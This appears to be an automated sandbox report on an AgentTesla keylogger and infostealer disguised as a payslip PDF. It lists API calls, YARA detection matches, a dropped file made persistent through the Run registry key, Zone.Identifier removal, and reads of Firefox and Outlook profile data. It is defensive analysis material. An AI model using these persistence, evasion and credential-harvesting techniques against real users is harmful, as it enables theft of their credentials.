Code function: 0_2_00CF8858 _memset,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcscpy,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,

0_2_00CF8858

Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe

Code function: 0_2_00D0545F ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,

0_2_00D0545F

Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe	Code function: 0_2_00CAE800	0_2_00CAE800
Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe	Code function: 0_2_00CCDBB5	0_2_00CCDBB5
Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe	Code function: 0_2_00CAFE40	0_2_00CAFE40
Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe	Code function: 0_2_00D2804A	0_2_00D2804A
Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe	Code function: 0_2_00CAE060	0_2_00CAE060
Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe	Code function: 0_2_00CB4140	0_2_00CB4140
Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe	Code function: 0_2_00CC2405	0_2_00CC2405
Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe	Code function: 0_2_00CD6522	0_2_00CD6522
Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe	Code function: 0_2_00CD267E	0_2_00CD267E
Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe	Code function: 0_2_00D20665	0_2_00D20665
Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe	Code function: 0_2_00CB6843	0_2_00CB6843
Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe	Code function: 0_2_00CC283A	0_2_00CC283A
Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe	Code function: 0_2_00CD89DF	0_2_00CD89DF
Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe	Code function: 0_2_00D20AE2	0_2_00D20AE2
Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe	Code function: 0_2_00CD6A94	0_2_00CD6A94
Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe	Code function: 0_2_00CB8A0E	0_2_00CB8A0E
Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe	Code function: 0_2_00D08B13	0_2_00D08B13
Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe	Code function: 0_2_00CFEB07	0_2_00CFEB07
Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe	Code function: 0_2_00CCCD61	0_2_00CCCD61
Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe	Code function: 0_2_00CD7006	0_2_00CD7006
Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe	Code function: 0_2_00CB3190	0_2_00CB3190
Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe	Code function: 0_2_00CB710E	0_2_00CB710E
Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe	Code function: 0_2_00CA1287	0_2_00CA1287
Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe	Code function: 0_2_00CC33C7	0_2_00CC33C7
Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe	Code function: 0_2_00CCF419	0_2_00CCF419
Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe	Code function: 0_2_00CC16C4	0_2_00CC16C4
Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe	Code function: 0_2_00CB5680	0_2_00CB5680
Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe	Code function: 0_2_00CB58C0	0_2_00CB58C0
Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe	Code function: 0_2_00CC78D3	0_2_00CC78D3
Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe	Code function: 0_2_00CC1BB8	0_2_00CC1BB8
Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe	Code function: 0_2_00CD9D05	0_2_00CD9D05
Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe	Code function: 0_2_00CC1FD0	0_2_00CC1FD0
Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe	Code function: 0_2_00CCBFE6	0_2_00CCBFE6
Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe	Code function: 0_2_0130B3F0	0_2_0130B3F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 1_2_00F74198	1_2_00F74198
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 1_2_00F7E8FD	1_2_00F7E8FD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 1_2_00F74A68	1_2_00F74A68
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 1_2_00F73E50	1_2_00F73E50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 1_2_0664C74C	1_2_0664C74C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 1_2_06643BB4	1_2_06643BB4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 1_2_066462D7	1_2_066462D7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 1_2_066455E3	1_2_066455E3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 1_2_066455E8	1_2_066455E8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 1_2_066556B0	1_2_066556B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 1_2_06657E98	1_2_06657E98
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 1_2_06656708	1_2_06656708
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 1_2_06653580	1_2_06653580
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 1_2_066577B8	1_2_066577B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 1_2_0665E4D0	1_2_0665E4D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 1_2_06655DFF	1_2_06655DFF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 1_2_06650040	1_2_06650040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 1_2_0665003E	1_2_0665003E

Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe	Code function: String function: 00CA7F41 appears 35 times
Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe	Code function: String function: 00CC0D27 appears 70 times
Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe	Code function: String function: 00CC8B40 appears 42 times

Source: Payslip_October_2024_pdf.exe, 00000000.00000003.1663398030.0000000003103000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs Payslip_October_2024_pdf.exe
Source: Payslip_October_2024_pdf.exe, 00000000.00000003.1663515177.00000000035FD000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs Payslip_October_2024_pdf.exe
Source: Payslip_October_2024_pdf.exe, 00000000.00000002.1674055866.0000000002FA0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename472d0e4f-32a4-4ea2-b137-597340264f0d.exe4 vs Payslip_October_2024_pdf.exe

Source: Payslip_October_2024_pdf.exe

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: 0.2.Payslip_October_2024_pdf.exe.2fa0000.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.Payslip_October_2024_pdf.exe.2fa0000.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV2 author = ditekSHen, description = AgenetTesla Type 2 Keylogger payload
Source: 0.2.Payslip_October_2024_pdf.exe.2fa0000.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.Payslip_October_2024_pdf.exe.2fa0000.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV2 author = ditekSHen, description = AgenetTesla Type 2 Keylogger payload
Source: 1.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 1.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV2 author = ditekSHen, description = AgenetTesla Type 2 Keylogger payload
Source: 00000000.00000002.1674055866.0000000002FA0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 00000000.00000002.1674055866.0000000002FA0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AgentTeslaV2 author = ditekSHen, description = AgenetTesla Type 2 Keylogger payload

Source: 0.2.Payslip_October_2024_pdf.exe.2fa0000.1.raw.unpack, 4JJG6X.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.Payslip_October_2024_pdf.exe.2fa0000.1.raw.unpack, 4JJG6X.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.Payslip_October_2024_pdf.exe.2fa0000.1.raw.unpack, 8C78isHTVco.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.Payslip_October_2024_pdf.exe.2fa0000.1.raw.unpack, 8C78isHTVco.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.Payslip_October_2024_pdf.exe.2fa0000.1.raw.unpack, 8C78isHTVco.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.Payslip_October_2024_pdf.exe.2fa0000.1.raw.unpack, 8C78isHTVco.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.Payslip_October_2024_pdf.exe.2fa0000.1.raw.unpack, CqSP68Ir.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.Payslip_October_2024_pdf.exe.2fa0000.1.raw.unpack, CqSP68Ir.cs	Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@7/8@2/2

Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe

Code function: 0_2_00D0A2D5 GetLastError,FormatMessageW,

0_2_00D0A2D5

Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe	Code function: 0_2_00CF8713 AdjustTokenPrivileges,CloseHandle,		0_2_00CF8713
Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe	Code function: 0_2_00CF8CC3 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,		0_2_00CF8CC3

Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe

Code function: 0_2_00D0B59E SetErrorMode,GetDiskFreeSpaceExW,SetErrorMode,

0_2_00D0B59E

Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe

Code function: 0_2_00D1F121 CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,

0_2_00D1F121

Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe

Code function: 0_2_00D186D0 CoInitialize,CoUninitialize,CoCreateInstance,IIDFromString,VariantInit,VariantClear,

0_2_00D186D0

Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe

Code function: 0_2_00CA4FE9 CreateStreamOnHGlobal,FindResourceExW,LoadResource,SizeofResource,LockResource,

0_2_00CA4FE9

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

File created: C:\Users\user\AppData\Roaming\sgxIb

Jump to behavior

Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2676:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3332:120:WilError_03

Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe

File created: C:\Users\user\AppData\Local\Temp\aut65FB.tmp

Jump to behavior

Source: Payslip_October_2024_pdf.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

File read: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini

Jump to behavior

Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: Payslip_October_2024_pdf.exe	ReversingLabs: Detection: 28%
Source: Payslip_October_2024_pdf.exe	Virustotal: Detection: 19%

Source: unknown	Process created: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe "C:\Users\user\Desktop\Payslip_October_2024_pdf.exe"
Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Users\user\Desktop\Payslip_October_2024_pdf.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe "C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe"
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe "C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe"
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Users\user\Desktop\Payslip_October_2024_pdf.exe"	Jump to behavior

Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\Outlook\Profiles

Jump to behavior

Source: Payslip_October_2024_pdf.exe

Static file information: File size 1317888 > 1048576

Source: Payslip_October_2024_pdf.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: Payslip_October_2024_pdf.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: Payslip_October_2024_pdf.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: Payslip_October_2024_pdf.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: Payslip_October_2024_pdf.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: Payslip_October_2024_pdf.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: Payslip_October_2024_pdf.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: RegSvcs.pdb, source: RegSvcs.exe, 00000001.00000002.4112075052.0000000005FDC000.00000004.00000020.00020000.00000000.sdmp, sgxIb.exe, 00000002.00000000.1791693270.0000000000952000.00000002.00000001.01000000.00000006.sdmp, sgxIb.exe.1.dr
Source:	Binary string: wntdll.pdbUGP source: Payslip_October_2024_pdf.exe, 00000000.00000003.1663755370.0000000002FE0000.00000004.00001000.00020000.00000000.sdmp, Payslip_October_2024_pdf.exe, 00000000.00000003.1664215484.00000000034D0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: Payslip_October_2024_pdf.exe, 00000000.00000003.1663755370.0000000002FE0000.00000004.00001000.00020000.00000000.sdmp, Payslip_October_2024_pdf.exe, 00000000.00000003.1664215484.00000000034D0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: RegSvcs.pdb source: RegSvcs.exe, 00000001.00000002.4112075052.0000000005FDC000.00000004.00000020.00020000.00000000.sdmp, sgxIb.exe, 00000002.00000000.1791693270.0000000000952000.00000002.00000001.01000000.00000006.sdmp, sgxIb.exe.1.dr

Source: Payslip_October_2024_pdf.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: Payslip_October_2024_pdf.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: Payslip_October_2024_pdf.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: Payslip_October_2024_pdf.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: Payslip_October_2024_pdf.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe

Code function: 0_2_00D1C304 LoadLibraryA,GetProcAddress,

0_2_00D1C304

Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe	Code function: 0_2_00CF030F push ecx; retf	0_2_00CF0455
Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe	Code function: 0_2_00CF0457 push ecx; retf	0_2_00CF0459
Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe	Code function: 0_2_00CB85D8 push eax; iretd	0_2_00CB85DB
Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe	Code function: 0_2_00CC058A pushad ; iretd	0_2_00CC058C
Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe	Code function: 0_2_00CC0586 pushad ; iretd	0_2_00CC0588
Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe	Code function: 0_2_00CB85BD push eax; iretd	0_2_00CB85BF
Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe	Code function: 0_2_00CB85B5 push eax; iretd	0_2_00CB85BB
Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe	Code function: 0_2_00CC056F pushad ; iretd	0_2_00CC0570
Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe	Code function: 0_2_00CC056A pushad ; iretd	0_2_00CC056C
Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe	Code function: 0_2_00CC0576 pushad ; iretd	0_2_00CC057C
Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe	Code function: 0_2_00CC0572 pushad ; iretd	0_2_00CC0574
Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe	Code function: 0_2_00D08719 push FFFFFF8Bh; iretd	0_2_00D0871B
Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe	Code function: 0_2_00CB6701 push ecx; retf	0_2_00CB6737
Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe	Code function: 0_2_00CCE94F push edi; ret	0_2_00CCE951
Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe	Code function: 0_2_00CCEA68 push esi; ret	0_2_00CCEA6A
Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe	Code function: 0_2_00CC8B85 push ecx; ret	0_2_00CC8B98
Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe	Code function: 0_2_00CCEC43 push esi; ret	0_2_00CCEC45
Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe	Code function: 0_2_00CCED2C push edi; ret	0_2_00CCED2E
Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe	Code function: 0_2_00CB11AD push cs; retf	0_2_00CB11AE
Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe	Code function: 0_2_00CB11B1 push cs; retf	0_2_00CB11B6
Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe	Code function: 0_2_00CB1118 push cs; retf	0_2_00CB111E
Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe	Code function: 0_2_00CB1120 push cs; retf	0_2_00CB11AA
Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe	Code function: 0_2_00CB54B4 push edx; retf	0_2_00CB54E6
Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe	Code function: 0_2_00CB5470 push ebx; retf	0_2_00CB5486
Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe	Code function: 0_2_00CB5400 push ebx; retf	0_2_00CB5406
Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe	Code function: 0_2_00CB553F push ebx; retf	0_2_00CB554A
Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe	Code function: 0_2_00CB17ED push ss; retf	0_2_00CB17F0
Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe	Code function: 0_2_00CB17E3 push ss; retf	0_2_00CB17EC
Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe	Code function: 0_2_00CB17FD push ss; retf	0_2_00CB1800
Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe	Code function: 0_2_00CF58C4 push ebx; iretd	0_2_00CF58CE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 1_2_00F70C6D push edi; retf	1_2_00F70C7A

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

File created: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe

Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run sgxIb			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run sgxIb			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Hides that the sample has been downloaded from the Internet (zone.identifier)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

File opened: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe:Zone.Identifier read attributes | delete

Jump to behavior

Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe	Code function: 0_2_00CA4A35 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,		0_2_00CA4A35
Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe	Code function: 0_2_00D255FD IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,		0_2_00D255FD

Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe

Code function: 0_2_00CC33C7 EncodePointer,__initp_misc_winsig,GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00CC33C7

Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
